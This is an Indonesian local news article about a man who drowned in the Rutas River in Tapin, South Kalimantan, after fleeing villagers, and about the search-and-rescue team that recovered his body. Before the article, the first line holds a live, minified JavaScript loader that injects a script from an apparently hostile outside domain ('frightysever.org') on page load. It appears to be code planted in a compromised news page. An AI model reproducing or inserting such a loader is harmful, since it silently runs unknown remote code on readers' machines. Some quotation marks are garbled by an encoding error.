(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, RANTAU – Seorang laki-laki tenggelam di Sungai Rutas, Desa Pabaungan, Kecamatan Candi Laras Selatan, Kabupaten Tapin, Kalimantan Selatan, ditemukan dalam kondisi meninggal dunia, Minggu (24/7/2022) pagi.
Diketahui laki-laki itu bernama Padlianor (23) warga Desa Ketapang, Kecamatan Bakarangan, Kabupaten Tapin, nekat menceburkan diri pada Sabtu (23/7/2022) kemarin, ke sungai setelah hampir diamuk warga.
Kepala Kantor Pencarian dan Pertolongan Banjarmasin, Al Amrad menjelaskan kronologi tenggelamnya Padlianor (23), pada Sabtu (23/7/2022) korban diduga sempat membuat keributan dengan membawa senjata tajam (sajam). Kemudian Padlianor tersebut disebut menceburkan diri ke Sungai Rutas.
“Kami terima informasi bahwa ada warga menceburkan diri di Sungai Rutas karena dikejar warga, lantaran membuat keributan dengan membawa senjata tajam di sebuah acara hajatan, warga kemudian melakukan pencarian dan mendatangi rumah korban, namun ternyata korban belum ditemukan sampai saat ini dan diduga tenggelam di lokasi korban menceburkan diri tersebut,†ujar Al Amrad yang sekaligus menjadi SMC pada Operasi SAR.
Baca juga: 440 Pesepeda Jajal “Tour de Loksado 2022â€, Uji Ketahanan Trek Sepanjang 165 Km
Menanggapi laporan ada orang tenggelam tersebut, Basarnas Banjarmasin menerjunkan personel. Kemudian melakukan pencarian terhadap korban tenggelam.
Masih kata Al Amrad Sejak pukul 06.30 Wita Tim SAR gabungan kembali melanjutkan pencarian dengan melakukan penyisiran sejauh 1 Km dari arah TKM menuju hilir.
Evakuasi korban tenggelam di Sungai Rutas, Desa Pabaungan, Kecamatan Candi Laras Selatan, Kabupaten Tapin, Minggu (24/7/2022). Foto: basarnasbanjarmasin
“Pencarian dilakukan dengan radius 1 Km dari TKP menuju hilir sungai,” katanya.
Pencarian terus dilakukan Tim SAR gabungan yang terdiri dari Basarnas Banjarmasin, Bhabinsa Margasari, Tim Rescue Tapin, Diyang Tapin, Borneo Rescue Marabahan, Bhalink-Bhalink Rescue, Kerukunan Hulu Sungai Selatan, serta warga
“Sekitar pukul 06.55 Wita pagi tadi korban berhasil ditemukan sekitar 50 meter dari titik nol, korban saat ditemukan dalam kondisi meninggal dunia,” tuturnya.
Sementara itu, Koordinator Lapangan Basarnas Banjarmasin, Maulana mengucapkan terima kasih atas sinergi dan kerjasama Tim SAR gabungan dalam pencarian korban tenggelam di Sungai Rutas.
“Dengan sinergi tim SAR gabungan, korban berhasil kita temukan, kami ucapkan terimakasih banyak kepada seluruh unsur SAR gabungan yang telah mendukung penuh atas kelancaran operasi kali ini,†tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.